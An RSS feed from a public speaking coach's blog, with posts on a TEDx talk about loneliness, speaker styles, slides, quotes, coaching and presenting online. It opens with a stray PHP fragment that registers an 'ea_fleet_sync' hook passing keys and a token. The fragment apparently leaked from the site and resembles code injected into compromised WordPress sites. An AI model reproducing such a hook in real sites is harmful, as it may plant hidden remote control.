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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); How to Archives - Now you're talking https://www.nowyouretalking.co.uk/category/how-to/ Public speaking Sat, 06 Jan 2024 17:37:06 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 TED says – 5 elements of standout talks https://www.nowyouretalking.co.uk/2024/01/08/ted-says-5-elements-of-standout-talks/ Mon, 08 Jan 2024 09:00:13 +0000 https://www.nowyouretalking.co.uk/?p=1584 TED says that standout talks happen when good preparation meets confident delivery and connection to bring us ideas worth spreading. Giving a TEDx Talk has long been an ambition of mine and I was ready to put in the work…

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]]> TED says that standout talks happen when good preparation meets confident delivery and connection to bring us ideas worth spreading.

Giving a TEDx Talk has long been an ambition of mine and I was ready to put in the work and deliver my idea worth spreading.

What I hadn’t realised was how challenging the experience would be and the learnings I would derive.

TED says is what Lyn Roseaman learnt giving her TEDxTalk at TEDxLewisham.

Here are my five things TED shows us.

TED says 1 – Find your TED idea worth spreading

TED talks are no different from any talk or presentation in that they all need a clear message, an idea worth spreading, that the audience will value; a message that will effect change in what they think, feel and do in relation to the subject.

Without this clarity, it’s hard to assemble the right content so that it delivers a clear and memorable message.

If you can’t sum up your message in a few words, it almost certainly needs more thought. And if YOU can’t sum up your message in a few words, your audience has no chance.

The message of my TEDx Talk was that loneliness ruins lives and we all have a responsibility to try and smash the loneliness pandemic. I embedded this message – the problem and the solution – in a memorable anchor phrase, ‘Loneliness shatters. Community matters.’

Please enjoy and comment on my TEDx Talk, ‘Reach out and smash the loneliness pandemic’.

TED says 2 – Better together

Nothing thrills me more than teamwork, so why treat a TEDx Talk any differently?

I made myself a list of people whose advice I cherish, both as friends and speakers. Then I approached each one to see if they’d like to help. Some of us met on Zoom, some of us met in person for dinner or coffee, some showed up on the day to watch the speech live.

We brainstormed ideas, evolved a speech and shared feedback to craft and hone my talk.

And the most wonderful thing for me was when everyone who helped expressed an interest in staying involved beyond an initial meeting. Their continuous help and support was inspirational.

So, never be afraid to ask for help. Fresh perspectives and ideas are always useful, along with a healthy dose of sense checking, feedback and encouragement. TED shows us that we are definitely better together.

TED says 3 – Make your practice real

It’s too easy to practise a talk in front of a mirror or record and playback, whatever your preference. But the important thing is to create a sense of reality that will ramp up the nerves of being in front of an audience and give you a better idea of how everything is working for you.

In front of a mirror, I was great! Word perfect. As soon as I went in front of people, whether in a Zoom meeting, trying it out in a café or delivering at a TEDxLewisham dress rehearsal, I fell apart. At one such event, my knees were shaking so much, I thought I was going to fall over. Every time, I would suddenly lose my way and forget what I wanted to say.

Time to remember that preparation is about internalising, not memorising, a speech. Reminding myself of my speech route map, I was liberated from my script and free to read the room, interact with my audience and sound relaxed, natural and conversational.

TED says 4 – Unpick the nerves

From an anxiety point of view, giving a TEDx Talk was one of the hardest things I’ve ever done. As an experienced speaker, I was a bit shocked by my reactions and wanted to understand better what was happening to me.

The two main negative voices in my head that are always likely to give me a hard time are the “perfectionist” and the “hyper-achiever”. And I was feeding them both.

In my capacity of public speaking coach, I think I gave too much weight to the TEDx opportunity and the importance in my head of doing a good job. My hyper-achiever was out with a vengeance, with an internal monologue that repeatedly told me, ‘If you mess up, what does it say about you as a coach?’

TED was my dream and everything was unravelling, but I wasn’t giving in that easily! I had to find a way to enjoy my moment on the TEDx “red dot”.

TED says 5 – Enjoy the moment

On the day, I was surrounded by fellow speakers and lovely friends. The mutual support and encouragement were phenomenal.

As I took to the stage, wrapped in their warm and positive vibes, I reminded myself that I had a speech I was proud of , with a relevant and relatable message.

I looked around the audience, raised my hand and began…

‘Hands up if you’ve ever felt lonely’. Up went a strong show of hands and we were off… speaker and audience together. We enjoyed sharing relatable experiences and I thoroughly enjoyed sharing my stories.

TED shows us that to bring a speech or presentation to life in an engaging and memorable way needs a clear idea worth spreading, preparation, confidence and, above all else, connection with your audience.

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]]> Change matters in our talks and presentations https://www.nowyouretalking.co.uk/2023/10/27/change-matters-in-our-talks-and-presentations/ Fri, 27 Oct 2023 12:56:55 +0000 https://www.nowyouretalking.co.uk/?p=1579 Change matters to speakers. Our job when we give talks and presentations is to create change – change what our listeners think, feel or do about our subject. I recently gave a TEDx Talk about what we can do about…

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]]> Change matters to speakers. Our job when we give talks and presentations is to create change – change what our listeners think, feel or do about our subject.

I recently gave a TEDx Talk about what we can do about loneliness.

Lyn Roseaman giving a TEDxTalk inviting people to change their thoughts, feelings and actions about loneliness

 

It was a talk full of stories from my childhood and the present day, inviting people to change how they handle loneliness and pull together to help smash the loneliness pandemic.

Loneliness is shattering lives, especially young people’s lives. It could happen to any of us, at any time. Hiding under the duvet might seem like a great solution, but withdrawing from the world only makes things worse. Difficult and painful as it is, we need to reach out.

Presenting the case that “Loneliness shatters” and “Community matters”, I seek to change what my audience thinks, feels and does about loneliness.

Inspired by memories of my childhood and growing up in the community of a care home owned and run by my mum, I invite my audience to discover bite-sized ways to help us smash the “loneliness pandemic”. Change matters!

This talk was given at a TEDx event using the TED conference format but independently organised by a local community.

You can listen to the full talk here.

Love to hear your thoughts.

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]]> Beware the quote https://www.nowyouretalking.co.uk/2023/09/10/beware-the-quote/ Sun, 10 Sep 2023 08:55:48 +0000 https://www.nowyouretalking.co.uk/?p=1566 Beware the quote. Our favourite social media platforms are awash with them. I can think of two big reasons to be careful with quotes: 1.  They can feel really repetitive and clichéd as the same thoughts appear over and over…

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]]> Beware the quote. Our favourite social media platforms are awash with them.

Quote from Dorothy Sayers about how quotes save you from having to have original thoughts

I can think of two big reasons to be careful with quotes:

1.  They can feel really repetitive and clichéd as the same thoughts appear over and over again.

2.  Quotes need checking. Misattribution is common.

For instance, Maya Angelou is often credited with this quote:

‘They may forget what you said, but they will never forget how you made them feel.’

It seems the actual author was Carl W Buehner. Beware the quote source.

Quote Investigator is a good online place to start checking quotes, especially those you find on the Internet rather than read yourself in an original book.

In my recent TEDxTalk, the early drafts ended with this quote:

‘Never doubt that a small group of thoughtful, committed citizens can change the world. Indeed, it’s the only thing that ever has’ (Margaret Mead).

I eventually replaced Margaret Mead’s words with my own anchor phrase – ‘Loneliness shatters. Community matters’. It’s memorable and the audience joined me in the connection sweet spot by chorusing the last word of my talk with me.

If giving talks and presentations is an act of thought leadership and changing what people think, feel and do, then beware the quote.

Your original thoughts and words have greater sincerity and power to make a difference than trotting out other people’s quotes we’ve probably heard before.

Thanks to The Knowledge for the Dorothy Sayers quote.

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]]> What’s your speaker style? https://www.nowyouretalking.co.uk/2023/08/20/whats-your-speaker-style/ Sun, 20 Aug 2023 11:41:56 +0000 https://www.nowyouretalking.co.uk/?p=1526 ‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’ Judy Garland Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately,…

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]]>

‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’

Judy Garland

Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately, how they value our talks and presentations. Ideally, our core values and beliefs will remain in place, irrespective of occasion, but specific speaking situations determine the style we choose to adopt, both in terms of the supporting evidence we provide and how we behave during that time.

I tend to think in terms of six styles – Showcaser, Enthuser, Entertainer, PowerPointer, FactGiver and Changemaker.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham

For example, when you’re speaking to a technical audience, they are likely to value more data-driven content, while members of a TED audience will tend to prefer more experiential personal stories and emotive arguments. If you are presenting to your board of directors, a strong air of gravitas and robust arguments will be appropriate, compared with, say, the more entertaining tone of a special occasion speech.

Some styles are more about information and evidence, while others draw more heavily on storytelling and emotional connections. Either way, giving your audience something of value is what should drive your style selection. These styles are not absolute. They are fluid, so you can easily introduce storytelling and emotive material to a data-driven presentation, and add more facts and figures to an experiential piece.

The following styles are designed to indicate ways of presenting that might be appropriate in different speaking situations, with suggestions for optimising their effectiveness. They are about adapting what you’re doing and how you’re doing it, not about changing your authentic self.

The Showcaser speaker style

The Showcaser style aims to challenge an audience’s thinking and make an impression by sharing the speaker’s successes and achievements. If the speaker can do it, so can you – and they’re going to show you how.

As presenters, they tend to be professional, charismatic, confident, well-prepared and engaging. This style may be useful in a sales scenario and might well be adopted by motivational speakers.

However, there is a fine line between delivering value for your listeners, and coming across as a staged, perhaps inauthentic, performance, with a feeling that the audience promise may not be all it claims. If you feel a Showcaser style becoming too ‘staged’, try shifting your focus more towards the Changemaker style, developing a more altruistic and philanthropic angle to increase the value you give. Ensure your stories are audience focused and deliver a clear and relevant message.

The Enthuser style

An enthusiastic and passionate speaker style with so much to share.

Enthusiastic, effusive, authentically and emotionally open to sharing their experiences, this style can be highly desirable in entertaining contexts, such as celebrations, including weddings, civil partnerships, anniversaries, toasts and tributes.

While this style often belies a laudable intention, coming from a desire to share, the enthusiasm can hijack the content of the speech, overlooking a clear message and easy-to-follow structure. This can come across as out of control, as if everything you know on the topic or person is pouring or gushing out of you at high speed.

Effusiveness can be a result of inexperience and/or a lack of audience focus. It’s crucial to be clear on the message for your listeners and to focus on stripping back the amount of content.

The Entertainer

An easy-going and relaxed speaking style, with a sense of fun and humour.

Confident, likeable, authentic and engaging, with strong storytelling skills make it ideal for after-dinner speeches, toasts, tributes, special occasions and celebrations. The ability to bring humour and entertain make a little of this style a useful addition to almost any speaking situation, including a eulogy.

Humour is an integral part of this speaking style, one that is natural and gentle emanating from your personal sense of humour rather than engineered for laughs. Your Entertainer style will probably contain a message, but it should be implicit in the stories and structure, rather than through an explicit call to action.

The PowerPointer style

The PowerPointer style leans heavily on slides as the key to sharing valuable information.

PowerPointer speaker style

Organised, informative, prepared and thorough, this style suits technical or specialist presentations and lectures designed primarily to inform and educate.

Unfortunately, this style often yields slides that are overly detailed and contain unfiltered information at the expense of a clear message. One sign is a reflex reaction to start producing slides almost as soon as you’re invited to speak. Too much detail can leave an audience feeling spoken at, rather than guided meaningfully through the information.

Speakers who depend on their slides as a crutch often feel a need for control, compared with those who introduce a few slides, videos or even props to enrich their message. If you give a lot of talks in this style, check the clarity of your message and associated content and reflect on whether fewer slides/less detail would bring greater value to your listeners.

The FactGiver speaker style

The FactGiver style has data at its core – a fount of all knowledge to inform almost any issue or situation. FactGivers are keen to share reliable and useful evidence, which they assemble conscientiously to offer what they think will be of value to their audience.

Speakers adopting this style seek to be genuinely informative, believing in the value of data and facts, which they share with commitment and enthusiasm, especially useful in company presentations, including project updates, results, board reports and other meetings where there is a need for gravitas and confidence.

The FactGiver style can give the impression that you and your data are one and the same, so that your data become your voice. This style usually sees an absence of (personal) storytelling and other means of emotional appeal and engagement.

As such, using this style, you are less likely to influence how an audience thinks, feels or acts as a result of hearing your speech. This can leave them feeling unsatisfied and hungry for something that goes a little deeper in terms of touching their emotions.

The Changemaker

The Changemaker speaker style focuses on understanding the audience, bringing people together and delivering value and/or change.

Presenters adopting this style tend to be confident, authentic, trustworthy, engaging, memorable, persuasive, inspirational and accomplished storytellers.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham 2023

This style is effective in any situation where you need to persuade or inspire an audience. It’s often adopted in the political arena, motivational speaking, keynotes, job interviews, fundraising, sales and pitches.

It’s important to ensure your stories are firmly anchored to illustrating your message, rather than replacing it. If you find yourself linking a number of stories together without a clear message, your speech will probably be entertaining, but will leave your audience wondering what you want them to take away.

Speaking styles are fluid in terms of how much of each style you bring to your talk or presentation to best meet your audience’s needs. They are also necessarily fluid insofar as the fast pace of change can render the effectiveness of a particular style quite ephemeral. For instance, it wasn’t so long ago that storytelling was for children at bedtime; now it’s an essential part of so much speaking. Whether technology, knowledge of how we connect or the nature of desirable content, speakers need to stay current with what works best for their audiences.

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]]> It’s you or the slides! https://www.nowyouretalking.co.uk/2023/01/26/its-you-or-the-slides/ Thu, 26 Jan 2023 12:00:33 +0000 https://www.nowyouretalking.co.uk/?p=1482 Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance…

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]]> Are you the presenter or the slide operator because your audience won’t allow you to be both. It’s you or the slides

Not a day goes past when I don’t shudder at the sight of PowerPoint slides created to enhance a presentation. ‘Death by PowerPoint’ isn’t a new phrase, yet most presenters, sadly, keep knocking out slides guaranteed to work against them, disengage their audience and create a whole load of unnecessary work.

Any of these sound familiar?

  • When we’re invited to speak or present, we start knocking out slides. It’s like being on autopilot – we have some data so let’s make a slide

 

  • As speakers, we’re generous and we want to share what we know, but it’s invariably more than an audience can take in when they hear it for the first time

 

  • Slides become a crutch to remind you what you want to say

Two things you need to know about slides

  • Audiences tend to read before they listen. If you put up a slide that takes more than a glance to absorb, then you’ve just made the slide deck the presenter. You are redundant!

 

  • Impactful slides SUPPORT, not replace, the speaker – they are not the pre-read or the leave-behind. They must bring your message to life, at a glance, and free you to talk about why it matters/the learning/action point

Less is always more. Today’s audiences have miniscule attention spans – some say less than a goldfish, ie seconds, not minutes. Slides undermine your presence and limit your ability to be responsive to your audience in the moment.

And hiding behind slides online is even worse as people stare at a screen with a tiny image of you in the corner somewhere.

It’s you, your stories and your clear message that keep audiences focused and attentive. It’s you or the slides!

Message first. Slides last – nine ways to make an impact

Message first – Start by being crystal clear on your message and the stories you need to share. Don’t slavishly make slides just because it’s on your questionnaire. Bring in the information you need to support your point

Purpose – Agree with your client what you’ll present and what you’ll provide as a leave-behind document. Don’t forget, different audiences have different needs and you need to produce relevant content for each. For instance, the board does not want the detail of the marketing team

Must-have info only – Only include slides that directly drive forward your message – support you and illuminate your message. You won’t need very many. Good for you in terms of preparation time. Good for the audience as they came to listen to you, not read a slide deck

Support, not replace – Be sure that each slide supports, not replaces, you. There is nothing worse than loads of bullet points that you’re going to read – audiences can read faster than you can speak!

Data don’t make an impact – Numbers and percentages aren’t particularly engaging, relatable or memorable, so keep them to a minimum. For example, poor mental health affects one in four people in any given year. That’s two of the people sitting at your table. Maybe more. Or Foetal Alcohol Syndrome affects 6% of the population – that’s two children in every class of 30

Use visuals – A picture really does speak a thousand words… at a glance. The acid test. A picture will convey information far more efficiently and quickly than you can with words. Find your relevant story and share a picture that encapsulates its essence

Big and bold – Channel Steve Jobs and use large fonts and few words. He famously put one word on a slide in 190-point size. Audiences can take in what’s on the slide at a glance and then have to listen attentively to find out more. Don’t overload your slides – less is always more

Builds help keep listeners with you – Use animations/builds so the audience only sees what you want them to see at the right moment. Putting all the information up at one go allows the audience to read ahead and ignore what you’re saying

Slides last – Write the slides last. You’ll be surprised by just how few you need and how much time you save!

Remember, it’s you or the slides.

Liberate yourself from endless, dull slides that regurgitate the findings of your questionnaire. Find your message and enter the sweet spot where you and your listeners are working together, almost co-creating your presentation. Only then can you give your audience what they came for – something new, relevant, engaging and memorable.

First published in Significant Insights

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]]> Collaborative coaching unleashes the ‘F’ words https://www.nowyouretalking.co.uk/2022/11/03/collaborative-coaching/ Thu, 03 Nov 2022 16:41:36 +0000 https://www.nowyouretalking.co.uk/?p=1464 What is coaching? Short-term connection to impart specific learnings? If you’re really lucky, it might be a life-changing experience. As someone once said “Lyn has shown me that dreams really can come true.” However, this can only happen if the…

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]]> One-to-one Collaborative Coaching

What is coaching? Short-term connection to impart specific learnings? If you’re really lucky, it might be a life-changing experience. As someone once said “Lyn has shown me that dreams really can come true.” However, this can only happen if the coach and the person you’re coaching work together, unleashing the ‘F’ words, for mutual benefit. What I like to call collaborative coaching.

When I think about collaborative coaching, I think about unleashing my four favourite ‘F’ words!

Friendship

Cast your mind back to life before Covid. I was meeting a potential client in the British Library. She’d allowed 45 minutes for our meeting to see if she wanted to work with me on her public speaking. It didn’t start well.

Her train was delayed. My train was delayed. Her train was further delayed.

I got to the British Library. She was just arriving at Euston and there was a queue to get into the British Library.

So much for our 45 minutes! By the time we’d found each other, grabbed a cuppa and found somewhere to sit, we were down to 30 minutes.

We started talking about… politics. Risky, eh, on a first meeting? We talked about Brexit, the general election, Amazon’s tax status. We carried on. Homelessness. Mental health. We swapped personal stories and traded vulnerabilities.

Then she said “Lyn, I have a year of important speaking ahead and I want to raise my speaking game. What can you do for me? I talked about my approach. She talked about invoicing. And I thought, happily, I have a new client.

She told me that she’d arranged to meet me to see if she liked me. Somehow, our 30 minutes morphed into a couple of hours and we left the British Library like new best friends, excited about working together.

In my experience, effective collaboration begins with a desire to understand each other and build something mutually beneficial together.

Flexibility

Collaborative coaching can’t be a one-way street with the coach deciding what to deliver, based on predetermined goals and content. That’s a lecture. Content needs to be flexible and determined by the person being coached, combined with observations from the coach. So the coach needs to…

LISTEN carefully. What does the person you’re coaching say they want you to cover and does that align with what they actually need in order to reach their speaking goals?

WATCH carefully. What do they show you they’re already good at and what could they improve?

FEEL fully. How do they make you feel when you experience being with them? How do they connect and engage with you and how is that likely to translate into speaking with an audience?

With the stated needs and the observations, you’re in a position to agree coaching objectives and co-create relevant content that can evolve, flexibly, as the coaching progresses. The continuous interchange between the coach and the coachee always produces a unique experience that is fresh and stimulating for both parties, while ensuring ongoing evaluation of goals and content.

Fun

As you know, we learn better when we’re relaxed and having fun. As Churchill said:

“Personally I’m always ready to learn, although I do not always like being taught.”

I like to think that collaborative coaching would have given Churchill the joy of learning in a way that responded to his needs and preferred learning style.

When we’re happy and having fun, we unleash a cocktail of dopamine, endorphins and oxygen that help us learn.

Coaching that involves laughter, play and experimentation is far more likely to be productive and something we look forward to. It keeps piquing our curiosity and encouraging us to want more, while the act of learning itself is a pleasure and one we enjoy being part of.

However, fun is one of those words that means different things to different people, so again, it’s crucial to explore what qualifies as fun to both participants.

When I meet a potential client, I’m exploring the things that make them laugh, the characteristics of what they consider a fun experience. And, having spent a career in market research, it’s not just what they say that I’m absorbing, but also what they don’t say, their non-verbal behaviour and responses.

So, how do we bring fun to online platforms? I always start with the setting. Is everyone comfortable? Do they have something to drink and/or eat? Do they have relevant equipment, materials and resources to hand? If not, it’s worth taking a few minutes to be ready and settle. Connection and engagement are critical, so it can be useful to share a story or anecdote before moving forward.

Interaction is essential for energy and fun. Breakout rooms on Zoom and Teams are invaluable in bringing small groups together, allowing them to explore and develop ideas before sharing them back to the bigger group. And don’t overlook all the tech that enables people to interact online, including digital whiteboards, pinboards, polls, etc.

Introducing elements of gamification can also heighten the fun, including introduction of a theme, pressure and excitement of being against the clock, competition, rewards and recognition, progression (levels), gifting and sharing, teamwork, anarchy of turning something on its head and so on. Gaming and play in its broadest sense have so much to bring to coaching as a stimulating and co-created, collaborative experience between coach and coachee and among fellow coaching participants.

Feedback

Collaborative coaching needs a growth mindset. It requires openness and recognition that both parties have something to teach to, and something to learn from, each other.

Coaching sessions where everyone is giving and receiving feedback are exciting and stimulating. The key is to agree in advance the nature of the feedback. Feedback is most effective when the ground rules are clear and everyone knows their role. Examples might include:

  • Who is giving feedback on what? Agreeing this in advance means participants can focus on the task as it is happening and not have to rely on recall after the event.
  • When is it useful to give the feedback? For instance, will sharing your thoughts as you go along be more or less helpful than debriefing as a session wrap-up?
  • How do you want to offer/receive feedback? I am a fan of a ‘sandwich’ approach where suggestions for improvement and growth are sandwiched in between positive observations about things that are working well.

When feedback is a tool for learning from each other so that coaching can develop effectively, it’s a win-win experience for all concerned.

As the coach, feedback challenges and stimulates you to sharpen and evolve your skills and material when you’re co-creating with the person you’re coaching.

As the person being coached, you get that vital input you need to develop and meet your coaching goals.

At its best, it allows coaches to acknowledge that coaching outcomes are a result of working together, of co-creation. For coachees, that very process of co-creation may help them acknowledge the help they’ve received.

It’s a great joy to work with clients who value the ‘F’ words – friendship, flexibility, fun and feedback – for collaborative coaching that benefits all involved.

 

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]]> First ever TEDx Lewisham – Oh what a night! https://www.nowyouretalking.co.uk/2022/03/24/first-ever-tedx-lewisham-oh-what-a-night/ Thu, 24 Mar 2022 15:56:12 +0000 https://www.nowyouretalking.co.uk/?p=1439 And Oh what a night! The first ever TEDx Lewisham. A night of Love and Empowerment. As the speakers’ coach for the first ever TEDx Lewisham, I sat in the audience like a proud parent, listening to the very best…

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]]> And Oh what a night! The first ever TEDx Lewisham. A night of Love and Empowerment.

As the speakers’ coach for the first ever TEDx Lewisham, I sat in the audience like a proud parent, listening to the very best version of every speech. It was magical.

The essentials of speeches that make a difference were evident.

Confidence

They were CONFIDENT speakers. They prepared thoroughly. They’d practised alone, in front of family and friends, in front of each other. Over and over. Not a trace of nerves; not a shaky voice to be heard, not even in their opening sentences.

And all seamlessly woven together by our loving and empowering host, ‘Ronke Kokoruwe. Confident speakers are, indeed, frequent speakers, and it showed.

Connection

The CONNECTION between speakers and audience was palpable:

🔴 It was a community event and every speaker lives in Lewisham

🔴 They spoke about real issues that affect us all, that we all care about

🔴 Speaker and audience interacted in that sweetspot where relevant meets relatable

🔴 We embodied diversity. Diverse ideas. Diverse speakers – gender, age, ethnicity, disabled people, work sector… Diverse audience, incl the 3-year-old there to support his mum 😊

🔴 And, sealing the connection, storytelling that was vulnerable, humorous, emotive, had you crying one moment and laughing the next, was warm and inviting, relevant and, above all, memorable

People will be retelling those stories for years and remembering how they made them think and feel.

Change

TED. #ideasworthspreading. As John F Kennedy said, “The only reason to give a speech is to CHANGE the world.”

Every speech was alive with a vision and a clear message to change hearts and minds, change how we now think, feel and act in our own lives.

Every speaker was seen, heard and made an impact.

All directed and curated by the energetic, empowering and caring Rachel Onikosi. She set the bar high and the team brought home the gold!

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]]> Have you got the online mindset? https://www.nowyouretalking.co.uk/2021/06/28/online-mindset/ Mon, 28 Jun 2021 11:11:40 +0000 https://www.nowyouretalking.co.uk/?p=1414 The world’s gone hybrid and we’re adjusting mindsets and skillsets in our play, work, learning… and communication. But we seem to be clinging to our ‘in-the-room’ speaking skills when we need a different mindset to really stand out and be…

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]]> The world’s gone hybrid and we’re adjusting mindsets and skillsets in our play, work, learning… and communication. But we seem to be clinging to our ‘in-the-room’ speaking skills when we need a different mindset to really stand out and be heard online.

Top pitfalls in online talks and presentations include insufficient energy, poor eye contact, lack of clear relevance, monotonous voice, poorly told or no stories, confusing message and structure, and hiding behind slides/PowerPoints.

But what is the online mindset and how do we get it and avoid these pitfalls?

1. You’re in close up and everyone has a front-row seat

Your camera and mic can see and hear everything, but is it what you want your audience in the front row to see and hear?

Before joining a meeting with camera/video on, check:

  • You’re well lit, so your audience can see your face and eyes as they are where we find trust and sincerity
  • You’ve got external and intrusive noise under control
  • You look the part for your close up
  • You’ve decluttered your surroundings, so there’s nothing to divert attention

2. Your audience is home alone

People in a virtual audience often feel left out or alone, even when there are hundreds of people in the same meeting. We need to help them feel involved. Your body language is a good place to start:

  • A warm and genuine smile communicates a relaxed and friendly you
  • Adopt a confident posture that says I’m comfortable and delighted to be here
  • Bring big energy, bigger than you would in the room, so that you can reach into your audience’s home. Dial up vocal interest and passion for your subject to help draw people towards you
  • Steady and direct eye contact builds trust, but it’s hard online because you have to talk to your camera lens, not the faces on your screen

And then draw them in further by creating opportunities to interact through the chat, reactions, breakouts, whiteboards, Q&A, etc. One-way communication only adds to the sense of being home alone.

3. Just because you can see your audience, it doesn’t mean they’re listening

Online audiences show up, physically, thinking ‘What’s In It For Me?’ If you don’t pique their curiosity, their minds will soon drift to their email, Instagram and who knows what else.

We need to be relevant and quickly give our audience a reason to listen. It’s no coincidence that most TV programmes nowadays start with a dramatic happening and when they’ve hooked us in, they roll the credits. Same with your talks and presentations. In most cases, you can save thank you and event protocols until after your opening remarks.

Online, we’re impatient. You’ve got just seconds to grab someone’s attention and demonstrate you have something relevant that they’ll value:

  • Know your audience so you can open with something that matters to them
  • Deliver a clear message that’s new and relevant, for right now
  • Make things easy for them. Less is more online, so strip back your content to the ‘must-have’ information to support your message, and use a clear and easy-to-follow structure

4. It’s just you and the person in the front row

Online, you lose the collective response of an audience being together in the same room as you. Now, it’s just you and your one-to-one connection with each individual member of your audience in their front-row seat.

To achieve connection, we need to be relatable, human to human. The best way we can achieve this is through the stories we tell. Ideally, they:

  • Are relevant to the subject of your talk
  • Draw on your own, real-life experiences
  • Have presence by being told in the here and now, with energy and enthusiasm
  • Are full of dialogue that engages all five senses, delivering energy and presence that narrative can’t achieve
  • Are appropriately edited to make sense and be memorable to an audience hearing them for the first time

And your newfound friend in the front row will help you read the room. Glance and gauge the energy and engagement of a few people and also factor in how you’re feeling, rather than trying to read the reactions of every individual on your screen.

Giving talks and presentations is your opportunity to persuade and inspire, to keep yourself and your organisation visible, and to pay it forward, building our collective knowledge by sharing ideas.

Recognising the online mindset and its impact on what you say and how you say it will make your talks stand out and impact your key target audiences.

First published as guest blog by Comms Rebel

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]]> Get personal and change hearts & minds https://www.nowyouretalking.co.uk/2020/12/04/get-personal-and-change-hearts-minds/ Fri, 04 Dec 2020 22:51:57 +0000 https://www.nowyouretalking.co.uk/?p=1333 Whenever I go to my local coffee shop and collect pre-ordered bread, I see it on a shelf in a brown paper bag bearing my name.  And not just my name, but my name with some added ‘design’. They get…

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]]> Brown paper bag bearing the name LynWhenever I go to my local coffee shop and collect pre-ordered bread, I see it on a shelf in a brown paper bag bearing my name.  And not just my name, but my name with some added ‘design’. They get personal by using my name and, specifically, my first name. It gives me that lovely warm glow; a connection. And there are so many ways we can get personal and create connections that help us change hearts and minds when we give talks and presentations.

Don’t be afraid to use my name

I’m always very happy for someone to use my first name, but some people prefer a more formal approach. If in doubt, I simply ask how someone would like me to address them.

In hotels, they often program your name into their system, but they use a formal styling. In my case, that’s Miss Roseaman. And it so often goes wrong. Miss becomes Mrs. Roseaman is usually mispronounced. If they asked, I’d welcome them using my first name and Lyn is so much easier to deal with.

In the coffee shop, when I hear “Hi Lyn. How’s it going?” or see ‘Lyn’ on the bread bag, they instantly have my attention. They make me feel valued and part of the set-up. I feel as if I belong.

Get personal with steady eye contact

Think about how you feel when someone is talking to you, but not making eye contact. It might be a lack of confidence on their part, but it makes me wonder if I can trust them and whether they perhaps have something to hide.

Good eye contact sends a message of trust. And online, it goes even further in connecting and engaging with an audience. Online, we’re in a close-up situation and if our eyes are darting around or avoiding our viewers and listeners, we seem shifty, nervous and insincere.

Good eye contact online is hard. It means looking at your camera lens, not at the faces on the screen and that feels really unnatural  as we are drawn to looking directly at the faces of the people on our screens. It can help to stick a little picture of a friend right next to your camera lens and talk to that person, imagining them being there so as you look down the lens you’re imagining the real people beyond.

‘You’ is a magic word

The word ‘you’ is at the same time inclusive and individual. As a plural idea, it reaches your whole audience, however many they are. In the singular, it conveys a personal, one-to-one conversation, with you giving all your focus and attention to each and every one of your listeners.

Moreover, using a speaking style and tone that is right for your audience, creates the sense of a personal conversation. This is one reason why it is so important to research and know who your audience is so that you can speak to them in a way that’s comfortable, clear and relatable for them.

Share a personal story

There is perhaps nothing more compelling and memorable than a well-told personal story. Of course, it needs to be relevant to your talk and your audience.

Given that attention spans are short, opening with a story gives you time to settle, lets your listeners get to know you a little and stimulates interest in what’s to come. As you move further into your talk, another story or anecdote can help refocus attention and keep your audience engaged.

We are hard-wired to relate to stories and they are a powerful way to communicate complex ideas and data in a way that is clear and easy to remember.

When we get personal, we connect and engage with our audiences, paving the way for us to touch their hearts and minds and give speeches, talks and presentations that standout and make a difference.

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]]> Let it go and focus on the next hand https://www.nowyouretalking.co.uk/2020/10/10/let-it-go/ Sat, 10 Oct 2020 07:57:22 +0000 https://www.nowyouretalking.co.uk/?p=1309 Today is my mum’s birthday and I’m reminded of how she used to quash my inner Perfectionist; persuade me to let it go. My mum loved playing bridge and was a very good player. Sometimes she would invite me to…

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]]> Today is my mum’s birthday and I’m reminded of how she used to quash my inner Perfectionist; persuade me to let it go.

My mum loved playing bridge and was a very good player. Sometimes she would invite me to be her partner for the evening. Playing bridge was her relaxation, her fun, her time out. And I didn’t want to spoil that. Unfortunately, I was nowhere near as skilled as my mum and I made a lot of mistakes. When this happened, my Perfectionist was quick on the scene. I’d apologise. My mum would give me feedback about how I could have played the hand differently. Always warm and constructive.

I was devastated. In my head, I’d let her down and ruined her evening out. My face said it all. Sad, despondent, miserable. Suddenly, there was a kick under the table. I looked into my mum’s smiling face. She leaned towards me and said:

“I’m not going to sit and look at that face all night.”

“But I messed up. Sorry.”

“Don’t be sorry. We’ve talked about how you could have played the hand differently. Now that hand is finished. Let it go, look forward and focus on the next hand.”

“I’ll try my best.”

“Good. Enjoy yourself… And SMILE!”

Whenever my Perfectionist rears her ugly head, especially in the form of a character I call the ‘Speaker Saboteur’, I tap into my mum’s thinking and invite my Perfectionist to go and chill out with a Gin & Tonic. I try to concentrate on being present, not perfect… to let it go and focus on the next hand.

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